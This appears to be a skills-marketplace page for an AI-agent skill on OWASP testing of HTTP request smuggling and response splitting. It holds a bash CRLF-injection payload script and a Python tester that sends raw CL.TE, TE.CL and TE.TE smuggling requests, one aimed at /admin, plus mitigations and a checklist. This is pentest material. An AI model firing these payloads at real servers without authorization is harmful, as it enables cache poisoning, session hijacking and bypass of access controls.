用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-15命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-15 |
| description | Testing for HTTP Splitting/Smuggling |
| category | input-validation |
| owasp_id | WSTG-INPV-15 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-15
Testing for HTTP Splitting/Smuggling
HTTP Request Smuggling occurs when front-end and back-end servers interpret HTTP request boundaries differently. HTTP Response Splitting injects CRLF characters to manipulate headers. Both can lead to cache poisoning, session hijacking, XSS, or bypassing security controls.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing HTTP Response Splitting..."
# CRLF injection payloads
curl -s "$TARGET/redirect?url=http://target.com%0d%0aSet-Cookie:%20malicious=true"
curl -s "$TARGET/redirect?url=http://target.com%0d%0a%0d%0a<html>injected</html>"
# Various CRLF encodings
PAYLOADS=(
"%0d%0a"
"%0D%0A"
"%0d%0aSet-Cookie:injected=true"
"%0aSet-Cookie:injected=true"
"\r\nSet-Cookie:injected=true"
)
for payload in "${PAYLOADS[@]}"; do
response=$(curl -sI "$TARGET/redirect?url=http://test.com$payload")
echo "$response" | grep -i
#!/usr/bin/env python3
"""
HTTP Smuggling/Splitting Vulnerability Tester
"""
import socket
import ssl
import time
from urllib.parse import urlparse
class HTTPSmugglingTester:
def __init__(self, url):
self.url = url
self.parsed = urlparse(url)
self.host = self.parsed.netloc
self.port = 443 if self.parsed.scheme == 'https' else 80
self.findings = []
def send_raw_request(self, request):
"""Send raw HTTP request"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
if self.parsed.scheme == 'https':
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=self.host)
sock.connect((self.host.split(':')[0], self.port))
sock.send(request.encode())
response = b""
while True:
try:
data = sock.recv(4096)
if not data:
break
response += data
except socket.timeout:
break
sock.close()
return response.decode('utf-8', errors='ignore')
except Exception as e:
return str(e)
def test_clte_smuggling(self):
"""Test CL.TE (Content-Length.Transfer-Encoding) smuggling"""
print("\n[*] Testing CL.TE HTTP Smuggling...")
# CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
request = f"""POST / HTTP/1.1\r
Host: {self.host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 6\r
Transfer-Encoding: chunked\r
\r
0\r
\r
G"""
response = self.send_raw_request(request)
# If smuggling works, the G becomes start of next request (GPOST would error)
if 'HTTP/1.1 403' in response or 'Invalid' in response or 'GPOST' in response:
print("[VULN] CL.TE Smuggling detected!")
self.findings.append({
'type': 'CL.TE Smuggling',
'severity': 'Critical'
})
return True
return False
def test_tecl_smuggling(self):
"""Test TE.CL (Transfer-Encoding.Content-Length) smuggling"""
print("\n[*] Testing TE.CL HTTP Smuggling...")
# TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
request = f"""POST / HTTP/1.1\r
Host: {self.host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
5c\r
GPOST / HTTP/1.1\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r
"""
response = self.send_raw_request(request)
if 'HTTP/1.1 403' in response or 'Invalid' in response:
print("[VULN] TE.CL Smuggling detected!")
self.findings.append({
'type': 'TE.CL Smuggling',
'severity': 'Critical'
})
return True
return False
def test_tete_smuggling(self):
"""Test TE.TE smuggling with obfuscated Transfer-Encoding"""
print("\n[*] Testing TE.TE HTTP Smuggling...")
te_variations = [
"Transfer-Encoding: chunked",
"Transfer-Encoding: xchunked",
"Transfer-Encoding : chunked",
"Transfer-Encoding: chunked\r\nTransfer-encoding: x",
"Transfer-Encoding:\tchunked",
"X: X\r\nTransfer-Encoding: chunked",
"Transfer-Encoding\r\n: chunked",
]
for te in te_variations:
request = f"""POST / HTTP/1.1\r
Host: {self.host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
{te}\r
\r
5c\r
GPOST / HTTP/1.1\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r
"""
response = self.send_raw_request(request)
if 'HTTP/1.1 403' in response or 'GPOST' in response:
print(f"[VULN] TE.TE Smuggling with: {te[:30]}...")
self.findings.append({
'type': 'TE.TE Smuggling',
'te_header': te,
'severity': 'Critical'
})
def test_crlf_injection(self):
"""Test CRLF injection for response splitting"""
print("\n[*] Testing CRLF Injection...")
crlf_payloads = [
("%0d%0aSet-Cookie:%20injected=true", "URL encoded"),
("%0aSet-Cookie:%20injected=true", "LF only"),
("\r\nSet-Cookie: injected=true", "Raw CRLF"),
("%E5%98%8A%E5%98%8DSet-Cookie:%20injected=true", "UTF-8 encoded"),
]
for payload, desc in crlf_payloads:
request = f"""GET /redirect?url=http://test.com{payload} HTTP/1.1\r
Host: {self.host}\r
\r
"""
response = self.send_raw_request(request)
if 'Set-Cookie: injected=true' in response:
print(f"[VULN] CRLF Injection ({desc})!")
self.findings.append({
'type': 'CRLF Injection',
'payload': payload,
'description': desc,
'severity': 'High'
})
def test_desync_detection(self):
"""Detect HTTP desync via timing differences"""
print("\n[*] Testing HTTP Desync detection...")
# Send normal request
normal_request = f"""GET / HTTP/1.1\r
Host: {self.host}\r
\r
"""
start = time.time()
self.send_raw_request(normal_request)
normal_time = time.time() - start
# Send potential desync trigger
desync_request = f"""POST / HTTP/1.1\r
Host: {self.host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 60\r
Transfer-Encoding: chunked\r
\r
0\r
\r
POST /admin HTTP/1.1\r
Host: {self.host}\r
\r
"""
start = time.time()
response = self.send_raw_request(desync_request)
desync_time = time.time() - start
if desync_time > normal_time + 5:
print(f"[WARN] Timing anomaly detected (possible desync)")
self.findings.append({
'type': 'Possible HTTP Desync',
'normal_time': normal_time,
'desync_time': desync_time,
'severity': 'High'
})
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("HTTP SMUGGLING/SPLITTING REPORT")
print("="*60)
if not self.findings:
print("\nNo HTTP smuggling vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
if 'payload' in f:
print(f" Payload: {f['payload'][:50]}")
def run_tests(self):
"""Run all HTTP smuggling tests"""
self.test_crlf_injection()
self.test_clte_smuggling()
self.test_tecl_smuggling()
self.test_tete_smuggling()
self.test_desync_detection()
self.generate_report()
# Usage
tester = HTTPSmugglingTester("https://target.com")
tester.run_tests()
| Tool | Purpose |
|---|---|
| Burp Suite (HTTP Smuggler) | Automated detection |
| smuggler.py | HTTP smuggling scanner |
| Turbo Intruder | Advanced testing |
# Nginx - Reject ambiguous requests
proxy_request_buffering on;
proxy_http_version 1.1;
# Reject requests with both CL and TE
if ($http_transfer_encoding ~* "chunked" ) {
set $invalid_request 1;
}
if ($http_content_length) {
set $invalid_request "${invalid_request}1";
}
if ($invalid_request = "11") {
return 400;
}
# Apache - Strict HTTP parsing
HttpProtocolOptions Strict
| Finding | CVSS | Severity |
|---|---|---|
| HTTP Request Smuggling | 9.8 | Critical |
| CRLF Response Splitting | 6.1 | Medium |
| Cache Poisoning via Smuggling | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-444 | Inconsistent Interpretation of HTTP Requests |
| CWE-113 | Improper Neutralization of CRLF Sequences |
[ ] CRLF injection tested
[ ] CL.TE smuggling tested
[ ] TE.CL smuggling tested
[ ] TE.TE obfuscation tested
[ ] Desync detection tested
[ ] Findings documented